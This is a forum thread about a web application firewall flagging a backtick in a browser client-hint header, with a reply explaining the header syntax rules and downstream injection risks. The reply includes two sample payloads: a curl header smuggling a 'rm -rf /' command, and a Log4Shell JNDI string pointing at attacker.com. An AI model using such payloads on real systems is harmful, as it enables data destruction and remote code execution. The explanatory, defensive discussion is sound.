Forum Discussion

Jackson5's avatar
Jackson5
Icon for Nimbostratus rankNimbostratus
Jun 13, 2025

ASM Sec-CH-UA-Full-Version-List backquote in Header

Hi,
I get this type of HTTPS request frequently to my web sites mostly from USA/UK SRC IPs.
Violation:  Illegal meta character in header

Sec-CH-UA: Not;A Brand";v="99", "Google Chrome";v="132", "Chromium";v="132" 
Sec-CH-UA-Arch: x64
Sec-CH-UA-Bitness: 64 Sec-CH-UA-Full-Version: Not;A Brand";v="99", "Google Chrome";v="132.0.0.0", "Chromium";v="132.0.0.0"
Sec-CH-UA-Full-Version-List: `Chrome`;v=132.0.0.0
Sec-CH-UA-Mobile: ?0
Sec-CH-UA-Model: Surface Pro
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Platform-Version: 15.0.0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36

As you can see the sec-ch-ua-full-version-list header value contain hexa 0x60 charater called as backquote (called also as backtick, grave, or grave accent).
I try to find the reason just found out the Mozilla developer site: https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Sec-CH-UA-Full-Version-List 

 which is metion the general " the allowed symbol (0x22) in  sec-ch-ua-full-version-list values.
I see various sources: Win10, iMAC etc.

Anybody have idea what a hell could be that? May be an old browser generate this alerts.

1 Reply

  • Hi Jackson5​,

    looking at RFCs (2616, 7230, 9110) you will find out that HTTP heades fields have a simple structure.

    field-name: field-value

    In the field-name the following special characters are allowed: ! # $ % & ' * + - . ^ _ \
    In the field-value the following special characters are allowed: ! @ # $ % ^ & * ( ) - _ = + [ ] { } ~ ; : ' " , . < > / ? | `

    Using a backtick in the HTTP header field-value generally does not pose a direct risk within the HTTP protocol itself as defined by the RFCs, because it's a printable ASCII character and is allowed in field values.
    However, security risks can arise in downstream systems or applications due to how backticks are interpreted in certain contexts — especially if input is not properly sanitized.

    For example, Shell injection:

    curl -H "X-Foo: \`rm -rf /\`" http://example.com

     

    Other examples are log injection or JS injection. A great example for unsanitized header values causing big trouble would be Log4Shell.

    User-Agent: ${jndi:ldap://attacker.com/a}

     

    So your WAF blocking this request is actually allright. Such a request should be treated as potentially dangerous, especially when this input flows into logging, command lines, or frontend code. You can tune the policy if you are sure your backend is properly sanitizing this request.

     

    Cheers
    Daniel